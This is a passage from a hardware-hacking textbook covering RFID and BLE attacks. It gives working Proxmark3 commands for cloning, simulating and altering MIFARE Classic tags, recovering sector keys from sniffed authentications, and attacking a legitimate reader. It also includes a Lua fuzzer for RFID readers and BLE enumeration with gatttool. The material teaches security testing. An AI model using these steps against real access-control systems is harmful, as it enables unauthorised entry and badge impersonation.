Writing to block   2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
…
Writing to block  63: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF           
[+] isOk:01          
[=] Finish restore

The card doesn’t need to be blank for this command to work, but the 
restore command uses dumpkeys.bin once again to access the card. If the 
card’s current keys are different than the ones stored in the dumpkeys.bin 
file, the write operation will fail.  

Simulating RFID Tags
In the previous examples, we cloned an RFID tag by storing the legitimate 
tag’s data in files using the dump command and using a new card to restore 
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the extracted data. But it’s also possible to simulate an RFID tag using 
Proxmark3 by extracting the data directly from the device’s memory. 

Load the previously stored contents of a MIFARE tag into the Proxmark3 
memory using the eload parameter. Specify the name of the .eml file in which 
the extracted data is stored:

proxmark3> hf mf eload hf-mf-B46F6F79-data

Note that this command occasionally fails to transfer the data from 
all stored sectors to the Proxmark3 memory. In that case, you’ll receive an 
error message. Using the command two or more times should solve this bug 
and complete the transfer successfully.

To simulate the RFID tag using data from the device’s memory, use the 
sim parameter:

proxmark3> hf mf sim *1 u 8c61b5b4 
mf sim cardsize: 1K, uid: 8c 61 b5 b4 , numreads:0, flags:3 (0x03)           
#db# 4B UID: 8c61b5b4          
#db# SAK:    08          
#db# ATQA:   00 04  

The * character selects all the tag’s blocks, and the number that follows 
it specifies the memory size (in this case, 1 for MIFARE Classic 1KB). The u 
parameter specifies the impersonated RFID tag’s UID. 

Many IoT devices, such as smart door locks, use the tag’s UID to per-
form access control. These locks rely on a list of tag UIDs associated with 
specific people allowed to open the door. For example, a lock on an office 
door might open only when an RFID tag with the UID 8c61b5b4—known to 
belong to a legitimate employee—is in proximity. 

You might be able to guess a valid UID by simulating tags with random 
UID values. This could work if the tags you’re targeting use low entropy 
UIDs that are subject to collisions. 

Altering RFID Tags
In certain cases, it’s useful to alter the contents of a tag’s specific block or 
sector. For example, a more advanced office door lock won’t just check for 
the UID of the tag in range; it will also check for a specific value, associated 
with a legitimate employee, in one of the tag’s blocks. As in the example 
from “Simulating RFID Tags” on page 254, selecting an arbitrary value 
might allow you to circumvent the access control.

To change a specific block of a MIFARE tag maintained in the 
Proxmark3’s memory, use the eset parameter, followed by the block number 
and the content that you want to add to the block, in hex. In this example, 
we’ll set the value 000102030405060708090a0b0c0d0e0f on block number 01:

proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f
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To verify the result, use the eget command, followed by the block num-
ber again:

proxmark3> hf mf eget 01
data[  1]:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f    

Now it’s possible to use the sim command once more to simulate the 
altered tag. You can also alter the memory contents of the legitimate physi-
cal tag using the wrbl parameter, followed by the block number, the type of 
key to use (A or B), the key—which in our case is the default FFFFFFFFFFFF—
and the content in hex:

proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f
--block no:1, key type:B, key:ff ff ff ff ff ff           
--data: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f           
#db# WRITE BLOCK FINISHED          
isOk:01     

Verify that the specific block was written using the rdbl parameter, fol-
lowed by the block number 01 with a type B key FFFFFFFFFFFF: 

proxmark3> hf mf rdbl 01 B FFFFFFFFFFFF
--block no:1, key type:B, key:ff ff ff ff ff ff            
#db# READ BLOCK FINISHED          
isOk:01 data:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f

The output contains the same contents in hex that you wrote to that 
block. 

Attacking MIFARE with an Android App
On Android phones, you can run apps that attack MIFARE cards. One 
common app for this is the MIFARE Classic Tool, which uses a preloaded 
list of keys to brute force the key values and read the card data. You can 
then save the data to emulate the device in the future. 

To read a nearby tag, click the READ TAG button in the app’s main 
menu. A new interface should appear. From here, you can select a list con-
taining the default keys to test and a progress bar, as shown in Figure 10-6.

Save this data to a new record by clicking the floppy disk icon on the 
top of the interface. To clone the tag, click the WRITE TAG button on the 
main menu. In the new interface, select the record by clicking the SELECT 
DUMP button and write it to a different tag.
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Figure 10-6: The MIFARE Classic Tool interface for Android devices

After a successful read operation, the app lists the data retrieved from 
all the blocks, as shown in Figure 10-7. 

Figure 10-7: Cloning an RFID tag
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RAW Commands for Nonbranded or Noncommercial RFID Tags
In the previous sections, we used vendor-specific commands to control 
commercial RFID tags with Proxmark3. But IoT systems sometimes use 
nonbranded or noncommercial tags. In this case, you can use Proxmark3 
to send custom raw commands to the tags. Raw commands are very useful 
when you’re able to retrieve command structures from a tag’s datasheet and 
those commands aren’t yet implemented in Proxmark3.

In the following example, instead of using the hf mf command as we 
did in previous sections, we’ll use raw commands to read a MIFARE Classic 
1KB tag. 

Identifying the Card and Reading Its Specification

First, use the hf search command to verify that the tag is in range:

proxmark3> hf search     
UID : 80 55 4b 6c           
ATQA : 00 04          
SAK : 08 [2]          
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1          
proprietary non iso14443-4 card found, RATS not supported          
No chinese magic backdoor command detected          
Prng detection: WEAK          
Valid ISO14443A Tag Found - Quiting Search

Next, check the card’s specification, which you can find at the vendor’s 
site (https://www.nxp.com/docs/en/data-sheet/MF1S50YYX_V1.pdf and https://
www.nxp.com/docs/en/application-note/AN10833.pdf). According to the speci-
fication, to establish a connection with the card and perform a memory 
operation, we must follow the protocol shown in Figure 10-8.

The protocol requires four commands to establish an authenticated 
connection with the MIFARE tag. The first command, Request all or REQA, 
forces the tag to respond with a code that includes the tag’s UID size. In the 
Anti-collision loop phase, the reader requests the UIDs of all the tags in the 
operating field, and in the Select card phase, it selects an individual tag for 
further transactions. The reader then specifies the tag’s memory location 
for the memory access operation and authenticates using the correspond-
ing key. We’ll describe the authentication process in “Extracting a Sector’s 
Key from the Captured Traffic” on page 261.

Sending Raw Commands

Using raw commands requires you to manually send each specific byte of 
the command (or part of it), the corresponding command’s data, and, even-
tually, the CRC bytes for cards that require error detection. For example, 
Proxmark3’s hf 14a raw command allows you to send ISO14443A commands 
to an ISO14443A compatible tag. You then provide the raw commands in 
hex after the -p parameter.

https://www.nxp.com/docs/en/data-sheet/MF1S50YYX_V1.pdf
https://www.nxp.com/docs/en/application-note/AN10833.pdf
https://www.nxp.com/docs/en/application-note/AN10833.pdf
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Request all

Anticollision loop

Get identifier

Select card

Three-pass authentication on
a specific sector

Identification

Authentication

Memory operations

e.g., a specific operation

Figure 10-8: MIFARE tags authentication protocol

You’ll need the hex opcodes for the commands you want to use. You 
can find these in the card’s specification. These opcodes correspond to the 
authentication protocol steps shown in Figure 10-8. 

First, use the hf 14a raw command with the –p parameter. Then send the 
Request all  command, which corresponds to the hex opcode 26. According to 
the specification, this command requires 7 bits, so use the -b 7 parameter  
to define the maximum number of bits you’ll use. The default value is 8 bits.

proxmark3> hf 14a raw -p -b 7 26
received 2 bytes:          
04 00           

The device responds with a success message, named ATQA, with the 
value 0x4. This byte indicates that the UID size is four bytes. The second 
command is the Anti-collision command, which corresponds to the hex 
opcode 93 20:

proxmark3> hf 14a raw -p 93 20
received 5 bytes:          
80 55 4B 6C F2     

The device responds with the device UID 80 55 4b 6c. It also returns a 
byte generated by performing a XOR operation on all the previous bytes as 
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an integrity protection. We now have to send the SELECT Card command, which 
corresponds to hex opcode 93 70, followed by the previous response, which 
contains the tag’s UID:

proxmark3> hf 14a raw -p -c 93 70 80 55 4B 6C F2
received 3 bytes:          
08 B6 DD     

Finally, you’re ready to authenticate with a type A sector key, which cor-
responds to hex opcode 60, and the default password for sector 00:

proxmark3> hf 14a raw -p -c 60 00
received 4 bytes:          
5C 06 32 57

Now you can proceed with the other memory operations listed in the 
specification, such as reading a block. We leave this as an exercise for you to 
complete.

Eavesdropping on the Tag-to-Reader Communication 
Proxmark3 can eavesdrop on transactions between a reader and a tag. This 
operation is extremely useful if you want to examine the data a tag and an 
IoT device exchanges. 

To start eavesdropping on the communication channel, place the 
Proxmark3 antenna between the card and the reader, select either a high-
frequency or a low-frequency operation, specify the tag implementation, 
and use the snoop parameter. (Some vendor-specific tags, implementations 
use the sniff parameter instead.)

In the following example, we attempt to eavesdrop on an ISO14443A-
compatible tag, so we select the 14a parameter: 

$ proxmark3> hf 14a snoop
#db# cancelled by button          
#db# COMMAND FINISHED          
#db# maxDataLen=4, Uart.state=0, Uart.len=0          
#db# traceLen=11848, Uart.output[0]=00000093

We interrupt the capture by pressing the Proxmark3’s button when the 
communication between the card and the reader ends.

To retrieve the captured packets, specify either a high-frequency or a 
low-frequency operation, the list parameter, and the tag implementation: 

proxmark3> hf list 14a
Recorded Activity (TraceLen = 11848 bytes)          
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer          
iso14443a - All times are in carrier periods (1/13.56Mhz)          
iClass    - Timings are not as accurate
…    
0 |992 | Rdr | 52' | | WUPA  
2228 |   4596 | Tag | 04  00  | |   
7040 |   9504 | Rdr | 93  20  | | ANTICOLL  
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10676 |  16564 | Tag | 80  55  4b  6c  f2  | |   
19200 |  29728 | Rdr | 93  70  80  55  4b  6c  f2  30  df  |  ok | SELECT_UID  
30900 |  34420 | Tag | 08  b6  dd  | |   
36224 |  40928 | Rdr | 60  00  f5  7b  |  ok | AUTH-A(0)  
42548 |  47220 | Tag | 63  17  ec  f0  | |   
56832 |  66208 | Rdr | 5f! 3e! fb  d2  94! 0e! 94  6b  | !crc| ?  
67380 |  72116 | Tag | 0e  2b  b8  3f! | |   
…

The output will also decode the identified operations. The exclama-
tion points near the hex bytes indicate that a bit error occurred during the 
capture. 

Extracting a Sector’s Key from the Captured Traffic
Eavesdropping on RFID traffic can reveal sensitive information, particularly 
when the tags use weak authentication controls or unencrypted communica-
tion channels. Because the MIFARE Classic tags use a weak authentication 
protocol, you can extract a sector’s private key by capturing a single success-
ful authentication between the RFID tag and the RFID reader.

According to the specification, MIFARE Classic tags perform a three-
pass authentication control with the RFID reader for each requested sec-
tor. First, the RFID tag selects a parameter called nt and sends it to the 
RFID reader. The RFID reader performs a cryptographic operation using 
the private key and received parameter. It generates an answer, called ar. 
Next, it selects a parameter called nr and sends it to the RFID tag along 
with ar. Then the tag performs a similar cryptographic operation with the 
parameters and the private key, generating an answer, called at, that it 
sends back to the RFID tag reader. Because the cryptographic operations 
that the reader and the tag perform are weak, knowing these parameters 
allows you to calculate the private key!

Let’s examine the eavesdropping communications captured in the pre-
vious section to extract these exchanged parameters:

proxmark3> hf list 14a
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer          
iso14443a - All times are in carrier periods (1/13.56Mhz)          
iClass    - Timings are not as accurate          
          
   Start |End | Src | Data (! denotes parity error, ' denotes short bytes)| CRC | Annotation |  
   ------------|------------|-----|-----------------------------------------------------------
---   
   0 |992 | Rdr | 52' | | WUPA  
   2228 |   4596 | Tag | 04  00  | |   
   7040 |   9504 | Rdr | 93  20  | | ANTICOLL  
   10676 |  16564 | Tag | 80  55  4b  6c  f2  | | 1  
   19200 |  29728 | Rdr | 93  70  80  55  4b  6c  f2  30  df  |  ok | SELECT_UID  
   30900 |  34420 | Tag | 08  b6  dd  | |   
   36224 |  40928 | Rdr | 60  00  f5  7b  |  ok | AUTH-A(0)  
   42548 |  47220 | Tag | 63  17  ec  f0  | | 2  
   56832 |  66208 | Rdr | 5f! 3e! fb  d2  94! 0e! 94  6b  | !crc| ? 3 
   67380 |  72116 | Tag | 0e  2b  b8  3f! | | 4  
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We can identify the card’s UID 1 as the value that comes before the 
SELECT_UID command. The nt 2, nr, ar 3, and at 4 parameters appear just 
after the AUTH-A(0) command, always in this order. 

Proxmark3’s source code includes a tool named mfkey64 that can per-
form the cryptographic calculation for us. Pass it the card’s UID, followed 
by the nt, nr, ar, and at parameters:

$ ./tools/mfkey/mfkey64 80554b6c 6317ecf0 5f3efbd2 940e946b 0e2bb83f
MIFARE Classic key recovery - based on 64 bits of keystream
Recover key from only one complete authentication!
Recovering key for:
   uid: 80554b6c
    nt: 6317ecf0
  {nr}: 5f3efbd2
  {ar}: 940e946b
  {at}: 0e2bb83f
LFSR successors of the tag challenge:
  nt' : bb2a17bc
  nt'': 70010929
Time spent in lfsr_recovery64(): 0.09 seconds
Keystream used to generate {ar} and {at}:
   ks2: 2f2483d7
   ks3: 7e2ab116
   Found Key: [FFFFFFFFFFFF] 1

If the parameters are correct, the tool calculates the private key 1 for 
the sector.

The Legitimate RFID Reader Attack
In this section, we’ll show you how to spoof a legitimate RFID tag and per-
form a brute-force attack against the RFID reader’s authentication control. 
This attack is useful in cases where you have prolonged access to the legiti-
mate reader and limited access to the victim’s tag.

As you might have noticed, the legitimate tag will send the at response 
to the legitimate reader only at the end of the three-pass authentication. 
Adversaries who have physical access to the reader could spoof the RFID 
tag, generate their own nt, and receive the nr and ar from the legitimate 
reader. Although the authentication session can’t successfully terminate, 
because the adversaries don’t know the sector’s key, they might be able to 
perform a brute-force attack for the rest of the parameters and calculate 
the key.

To perform the legitimate reader attack, use the tag simulation com-
mand hf mf sim: 

proxmark3> hf mf sim *1 u 19349245 x i
mf sim cardsize: 1K, uid: 19 34 92 45 , numreads:0, flags:19 (0x13)           
Press pm3-button to abort simulation    
#db# Auth attempt {nr}{ar}: c67f5ca8 68529499          
Collected two pairs of AR/NR which can be used to extract keys from reader:
…
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The * character selects all the tag blocks. The number that follows 
specifies the memory size (in this case, 1 for MIFARE Classic 1KB). The 
u parameter lists the impersonated RFID tag’s UID, and the x parameter 
enables the attack. The i parameter allows the user to have an interactive 
output.

The command’s output will contain the nr and ar values, which we can 
use to perform the key calculation in the same way as we did in the previous 
section. Note that even after calculating the sector’s key, we’d have to gain 
access to the legitimate tag to read its memory.

Automating RFID Attacks Using the Proxmark3 Scripting Engine
The Proxmark3 software comes with a preloaded list of automation scripts 
that you can use to perform simple tasks. To retrieve the full list, use the 
script list command:

$ proxmark3> script list
brutesim.lua     A script file          
tnp3dump.lua     A script file          
…
dumptoemul.lua   A script file          
mfkeys.lua       A script file          
test_t55x7_fsk.lua A script file

Next, use the script run command, followed by the script’s name, to run 
one of the scripts. For example, the following command executes mfkeys, 
which uses the techniques presented earlier in the chapter (see “Cracking 
the Keys with a Brute-Force Attack” on page 252) to automate the brute-
force attack of a MIFARE Classic card:

$ proxmark3> script run mfkeys
--- Executing: mfkeys.lua, args ''
This script implements check keys. 
It utilises a large list of default keys (currently 92 keys).
If you want to add more, just put them inside mf_default_keys.lua. 
Found a NXP MIFARE CLASSIC 1k | Plus 2k tag
Testing block 3, keytype 0, with 85 keys
…
Do you wish to save the keys to dumpfile? [y/n] ?

Another very helpful script is dumptoemul, which transforms a .bin file cre-
ated from the dump command to a .eml file that you can directly load to the 
Proxmark3 emulator’s memory: 

proxmark3> script run dumptoemul -i dumpdata.bin -o CEA0B6B4.eml
--- Executing: dumptoemul.lua, args '-i dumpdata.bin -o CEA0B6B4.eml'
Wrote an emulator-dump to the file CEA0B6B4.eml
-----Finished

The -i parameter defines the input file, which in our case is dumpdata.
bin, and the -o parameter specifies the output file.
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These scripts can be very useful when you have physical access to an 
RFID-enabled IoT device for only a limited amount of time and want to 
automate a large number of testing operations.

RFID Fuzzing Using Custom Scripting
In this section, we’ll show you how to use Proxmark3’s scripting engine 
to perform a simple mutation-based fuzzing campaign against an RFID 
reader. Fuzzers iteratively or randomly generate inputs to a target, which 
can lead to security issues. Instead of trying to locate known defects in an 
RFID-enabled system, you can use this process to identify new vulnerabili-
ties in the implementation.  

Mutation-based fuzzers generate inputs by modifying an initial value, 
called the seed, which is usually a normal payload. In our case, this seed 
can be a valid RFID tag that we’ve successfully cloned. We’ll create a script 
that automates the process of connecting to an RFID reader as this legiti-
mate tag and then hide invalid, unexpected, or random data in its memory 
blocks. When the reader tries to process the malformed data, an unex-
pected code flow might execute, leading to application or device crashes. 
The errors and exceptions can help you identify severe loopholes in the 
RFID reader application.

We’ll target an Android device’s embedded RFID reader and the soft-
ware that receives the RFID tag data. (You can find many RFID reading 
apps in the Android Play Store to use as potential targets.) We’ll write the 
fuzzing code using Lua. You can find the full source code in the book’s 
repository. In addition, you can find more information about Lua in 
Chapter 5. 

To begin, save the following script skeleton in the Proxmark3 client/scripts 
folder using the name fuzzer.lua.  This script, which has no functionality, will 
now appear when you use the script list command:

File: fuzzer.lua
author = "Book Authors"
desc = "This is a script for simple fuzzing of NFC/RFID implementations"

function main(args)
end

main()

Next, extend the script so it uses Proxmark3 to spoof a legitimate RFID 
tag and establish a connection with the RFID reader. We’ll use a tag that 
we’ve already read, exported to a .bin file using the dump command, and 
transformed to a .eml file using the dumptoemul script. Let’s assume that this 
file is named CEA0B6B4.eml. 

First, we create a local variable named tag to store the tag data:

local tag = {}
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Then we create the load_seed_tag() function, which loads the stored 
data from the CEA0B6B4.eml file to the Proxmark3 emulator’s memory, as 
well as to the previously created local variable named tag: 

function load_seed_tag()
    print("Loading seed tag...").   
    core.console("hf mf eload CEA0B6B4") 1
    os.execute('sleep 5') 
    local infile = io.open("CEA0B6B4.eml", "r")
    if infile == nil then 
        print(string.format("Could not read file %s",tostring(input)))
    end
    local t = infile:read("*all")
    local i = 0
    for line in string.gmatch(t, "[^\n]+") do 
        if string.byte(line,1) ~= string.byte("+",1) then
           tag[i] = line 2
           i = i + 1
        end
    end
end

To load a .eml file in Proxmark3 memory, we use the eload 1 param-
eter. You can use Proxmark3 commands by providing them as arguments 
in the core.console() function call. The next part of the function manually 
reads the file, parses the lines, and appends the content to the tag 2 vari-
able. As mentioned earlier, the eload command occasionally fails to transfer 
the data from all the stored sectors to the Proxmark3 memory, so you might 
have to use it more than once.

Our simplified fuzzer will mutate the initial tag value, so we need to 
write a function that creates random changes in the original RFID tag’s 
memory. We use a local variable named charset to store the available hex 
characters that we can use to perform these changes: 

local charset = {} do 
    for c = 48, 57  do table.insert(charset, string.char(c)) end
    for c = 97, 102  do table.insert(charset, string.char(c)) end
end

To fill the charset variable, we perform an iteration on the ASCII rep-
resentation of the characters 0 to 9 and a to f. Then we create the function 
randomize() that uses the characters stored in the previous variable to create 
mutations on the emulated tag:

function randomize(block_start, block_end)
    local block = math.random(block_start, block_end) 1
    local position = math.random(0,31) 2
    local value = charset[math.random(1,16)] 3

print("Randomizing block " .. block .. " and position " .. position)

    local string_head = tag[block]:sub(0, position)
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    local string_tail = tag[block]:sub(position+2)
    tag[block] = string_head .. value .. string_tail
 
    print(tag[block])
    core.console("hf mf eset " .. block .. " " .. tag[block]) 4
    os.execute('sleep 5')
end

More precisely, this function randomly selects a tag’s memory block 1 
and a position on each selected block 2, and then introduces a new muta-
tion by replacing this character with a random value 3 from charset. We 
then update the Proxmark3 memory using the hf mf eset 4 command. 

Then we create a function named fuzz() that repeatedly uses the ran-
domize() function to create a new mutation on the seed RFID tag data and 
emulates the tag to the RFID reader: 

function fuzz()
 1 core.clearCommandBuffer()
 2 core.console("hf mf dbg 0")
    os.execute('sleep 5')
 3 while not core.ukbhit() do
        randomize(0,63)
     4 core.console("hf mf sim *1 u CEA0B6B4")
    end
    print("Aborted by user")
end

The fuzz() function also uses the core.clearCommandBuffer() API call 1 
to clear any remaining commands from Proxmark3 commands queue and 
uses the hf mf dbg 2 command to disable the debugging messages. It per-
forms the fuzzing repeatedly, using a while loop, until the user presses the 
Proxmark3 hardware button. We detect this using the core.ukbhit() 3 API 
call. We implement the simulation using the hf mf sim 4 command.

Then we add the functions to the original script skeleton in fuzzer.lua  
and change the main function to call the load_seed_tag() and fuzz() 
functions: 

File: fuzzer.lua
author = "Book Authors"
desc = "This is a script for simple fuzzing of NFC/RFID implementations"
 
    …Previous functions..
function main(args)
      load_seed_tag()
     fuzz()
end
main()

To start the fuzzing campaign, place the Proxmark3 antenna close to 
the RFID reader, which is usually located at the back of the Android device. 
Figure 10-9 shows this setup.
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Figure 10-9: Fuzzing the RFID reader in an Android device

Then execute the script run fuzzer command: 

proxmark3> script run fuzzer
Loading seed tag...       
...........................................................
Loaded 64 blocks from file: CEA0B6B4.eml          
#db# Debug level: 0          
Randomizing block 6 and byte 19
00000000000000000008000000000000
mf sim cardsize: 1K, uid: ce a0 b6 b4 , numreads:0, flags:2 (0x02)           
Randomizing block 5 and byte 8
636f6dfe600000000000000000000000
mf sim cardsize: 1K, uid: ce a0 b6 b4 , numreads:0, flags:2 (0x02)           
Randomizing block 5 and byte 19
636f6dfe600000000004000000000000
...

The output should contain the exact mutation that occurs in each data 
exchange with the reader. In each established communication, the reader 
will attempt to retrieve and parse the mutated tag data. Depending on the 
mutation, these inputs can affect the reader’s business logic, leading to 
undefined behavior or even application crashes. In the worst-case scenario, 
an RFID-enabled door lock hosting an access-control software might crash 
upon receiving the mutated input, allowing anyone to freely open the door. 

We can evaluate the success of our fuzzer through experimentation. 
We’d measure the number of possibly exploitable bugs identified by crash-
ing inputs. Note that this script is a simplified fuzzer that follows a naive 
approach: it uses simple random numbers to create the mutations in the 
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given inputs. As a result, we don’t expect it to be very efficient at identifying 
software crashes. Less naive solutions would use improved mutations, map 
out the protocol to be fuzzed in detail, or even leverage program analysis 
and instrumentation techniques to interact with a greater amount of the 
reader’s code. This would require meticulously examining the documenta-
tion and constantly improving your fuzzer. For this purpose, try advanced 
fuzzing tools, such as the American Fuzzy Lop (AFL) or libFuzzer. This task 
is beyond the scope of this book, and we leave it as an exercise for you to 
complete.

Conclusion
In this chapter, we investigated RFID technology and covered a number of 
cloning attacks against common low-frequency and high-frequency RFID 
implementations. We examined how to retrieve a key to access the password-
protected memory of the MIFARE Classic cards and then read and alter 
their memory. Finally, we walked through a technique that allows you to 
send raw commands to any type of ISO14493-compatible RFID tag based 
on its specification, and we used the Proxmark3 scripting engine to create a 
simplified fuzzer for RFID readers.



Bluetooth Low Energy (BLE) is a version of the 
Bluetooth wireless technology IoT devices 

often use because of its low-energy consump-
tion and because the pairing process is simpler 

than in previous Bluetooth versions. But BLE can also 
maintain similar, and sometimes greater, communica-
tion ranges. You can find it in all sorts of devices, from 
common health gadgets like smart watches or smart  
water bottles to critical medical equipment like insulin pumps and pace-
makers. In industrial environments, you’ll see it in sensors, nodes, and 
gateways of all types. It’s even used in the military, where weapon compo-
nents such as rifle scopes operate remotely via Bluetooth. Of course, these 
have already been hacked. 

These devices use Bluetooth to take advantage of the simplicity and 
robustness of this radio communication protocol, but doing so increases a 
device’s attack surface. In this chapter, you’ll learn how BLE communica-
tions work, explore common hardware and software that communicates 

11
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with BLE devices, and master techniques to effectively identify and exploit 
security vulnerabilities. You’ll set up a lab using the ESP32 development 
board and then walk through levels of an advanced Capture the Flag (CTF) 
exercise designed specifically for BLE. After reading this chapter, you 
should be ready to tackle some of the remaining unsolved challenges from 
this CTF laboratory. 

How BLE Works
BLE consumes significantly less power than traditional Bluetooth, but it 
can transmit small amounts of data very efficiently. Available since the 
Bluetooth 4.0 specification, BLE uses only 40 channels, covering the 
range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 
channels in that same range. 

Although every application uses this technology differently, the most 
common way BLE devices communicate is by sending advertising packets. 
Also known as beacons, these packets broadcast the BLE device’s existence 
to other nearby devices (Figure 11-1). These beacons sometimes send 
data, too.

ADV

Scan

Scan

ADV

ADV

Scan

Scan

ADV

Figure 11-1: BLE devices send advertising packets to elicit a SCAN request.

To reduce power consumption, BLE devices only send advertising 
packets when they need to connect and exchange data; they sleep the rest 
of the time. The listening device, also called a central device, can respond to 
an advertising packet with a SCAN request sent specifically to the advertising 
device. The response to that scan uses the same structure as the advertis-
ing packet. It contains additional information that couldn’t fit on the initial 
advertising request, such as the full device name or any additional informa-
tion the vendor needs.
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Figure 11-2 shows BLE’s packet structure.

Figure 11-2: BLE’s packet structure

The preamble byte synchronizes the frequency, whereas the four-byte 
access address is a connection identifier, which is used in scenarios where 
multiple devices are trying to establish connections on the same channels. 
Next, the Protocol Data Unit (PDU) contains the advertising data. There 
are several types of PDU; the most commonly used are ADV_NONCONN_
IND and ADV_IND. Devices use the ADV_NONCONN_IND PDU type if 
they don’t accept connections, transmitting data only in the advertising 
packet. Devices use ADV_IND if they allow connections and stop sending 
advertising packets once a connection has been established. Figure 11-3 
shows an ADV_IND packet in a Wireshark capture.

Figure 11-3: A Wireshark display tree showing a BLE advertising packet of type ADV_IND

The type of packet used depends on the BLE implementation and proj-
ect requirements. For example, you’ll find ADV_IND packets in smart IoT 
devices, such as smart water bottles or watches, because these seek to con-
nect to a central device before performing further operations. On the other 
hand, you might find ADV_NONCONN_IND packets in beacons to detect 
an object’s proximity to sensors placed in various devices. 

Generic Access Profile and Generic Attribute Profile 
All BLE devices have a Generic Access Profile (GAP) that defines how they can 
connect to other devices, communicate with them, and make themselves 
available for discovery through broadcasting. A peripheral device can be 
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connected to only one central device, whereas a central device can connect 
to as many peripherals as the central device can support. After establishing 
a connection, peripherals don’t accept any more connections. For each con-
nection, the peripheral sends advertising probes at intervals, using three 
different frequencies, until the central device responds and the peripheral 
acknowledges the response indicating it’s ready to begin the connection.  

The Generic Attribute Profile (GATT) defines how the device should format 
and transfer data. When you’re analyzing a BLE device’s attack surface, you’ll 
often concentrate your attention on the GATT (or GATTs), because it’s how 
device functionality gets triggered and how data gets stored, grouped, and 
modified. The GATT lists a device’s characteristics, descriptors, and services 
in a table as either 16- or 32-bits values. A characteristic is a data value sent 
between the central device and peripheral. These characteristics can have 
descriptors that provide additional information about them. Characteristics 
are often grouped in services if they’re related to performing a particular 
action. Services can have several characteristics, as illustrated in Figure 11-4. 

Figure 11-4: The GATT server structure  
is composed of services, characteristics,  
and descriptors.

Working with BLE
In this section, we’ll walk through the hardware and software you’ll need to 
communicate with BLE devices. We’ll introduce you to hardware you can 
use to establish BLE connections, as well as software for interacting with 
other devices. 
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BLE Hardware
You can choose from a variety of hardware to interact with BLE. For simply 
sending and receiving data, integrated interfaces or cheap BLE USB don-
gles might be enough. But for sniffing and performing low-level protocol 
hacking, you’ll need something more robust. Prices for these devices vary 
widely; you’ll find a list of hardware for interacting with BLE in “Tools for 
IoT Hacking.” 

In this chapter, we’ll use the ESP32 WROOM development board from 
Espressif Systems (https://www.espressif.com/), which supports 2.4 GHz Wi-Fi 
and BLE (Figure 11-5). 

Figure 11-5:  ESP32 WROOM development board

It has an embedded flash memory, and conveniently, you can program 
and power it with a micro-USB cable. It’s very compact and affordable, and 
the antenna range is quite good for its size. You can program it for other 
attacks, too—for instance, attacks against Wi-Fi.

BlueZ
Depending on the device you’re using, you might need to install the 
required firmware or drivers for your software to be recognized and work 
correctly. In Linux, you’ll most likely be using BlueZ, the official Bluetooth 

https://www.espressif.com/
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stack, although proprietary drivers exist for adapters from vendors such as 
Broadcom or Realtek. The tools we’ll cover in this section all work out of 
the box with BlueZ. 

If you’re having a problem with BlueZ, be sure to install the latest ver-
sion available at http://www.bluez.org/download/ because you could be using an 
earlier version pre-included in your Linux distribution’s package manager.

Configuring BLE Interfaces 
Hciconfig is a Linux tool that you can use to configure and test your BLE 
connections. If you run Hciconfig with no arguments, you should see your 
Bluetooth interface. You should also see the state UP or DOWN, which indicates 
whether or not the Bluetooth adapter interface is enabled:

# hciconfig
hci0:    Type: Primary  Bus: USB
         BD Address: 00:1A:7D:DA:71:13  ACL MTU: 310:10  SCO MTU: 64:8
         UP RUNNING 
         RX bytes:1280 acl:0 sco:0 events:66 errors:0
         TX bytes:3656 acl:0 sco:0 commands:50 errors:0

If you don’t see your interface, make sure the drivers are loaded. The 
kernel module name in Linux systems should be bluetooth. Use modprobe to 
show the module configuration with the -c option:

# modprobe -c bluetooth

You can also try bringing down the interface and then bringing it back 
up again with the following command:

# hciconfig hci0 down && hciconfig hci0 up

If that doesn’t work, try resetting it:

# hciconfig hci0 reset

You can also list additional information with the -a option: 

# hciconfig hci0 -a
hci0:    Type: Primary  Bus: USB
         BD Address: 00:1A:7D:DA:71:13  ACL MTU: 310:10  SCO MTU: 64:8
         UP RUNNING 
         RX bytes:17725 acl:0 sco:0 events:593 errors:0
         TX bytes:805 acl:0 sco:0 commands:72 errors:0
         Features: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87
         Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 
         Link policy: RSWITCH HOLD SNIFF PARK 
         Link mode: SLAVE ACCEPT 
         Name: 'CSR8510 A10'
         Class: 0x000000
         Service Classes: Unspecified
         Device Class: Miscellaneous, 

http://www.bluez.org/download/
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         HCI Version: 4.0 (0x6)  Revision: 0x22bb
         LMP Version: 4.0 (0x6)  Subversion: 0x22bb
         Manufacturer: Cambridge Silicon Radio (10)

Discovering Devices and Listing Characteristics
If a BLE-enabled IoT device isn’t protected properly, you can intercept, ana-
lyze, modify, and retransmit its communications to manipulate the device’s 
operations. Overall, when assessing the security of an IoT device with BLE, 
you should follow this process: 

1.	 Discover the BLE device address

2.	 Enumerate the GATT servers

3.	 Identify their functionality through the listed characteristics, services, 
and attributes

4.	 Manipulate the device functionality through read and write operations

Let’s walk through these steps now using two tools: GATTTool and 
Bettercap. 

GATTTool
GATTTool is part of BlueZ. You’ll mainly use it for operations like establish-
ing a connection with another device, listing that device’s characteristics, 
and reading and writing its attributes. Run GATTTool with no arguments 
to see the list of supported actions.

GATTTool can launch an interactive shell with the -I option. The fol-
lowing command sets the BLE adapter interface so you can connect to a 
device and list its characteristics:

# gatttool -i hci0 -I

Inside the interactive shell, issue the connect <mac address> command to 
establish a connection; then list the characteristics with the characteristics 
subcommand:

[                 ][LE]> connect 24:62:AB:B1:A8:3E 
Attempting to connect to A4:CF:12:6C:B3:76
Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 
00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 
00002a00-0000-1000-8000-00805f9b34fb
…
handle: 0x0055, char properties: 0x02, char value handle: 0x0056, uuid: 
0000ff17-0000-1000-8000-00805f9b34fb
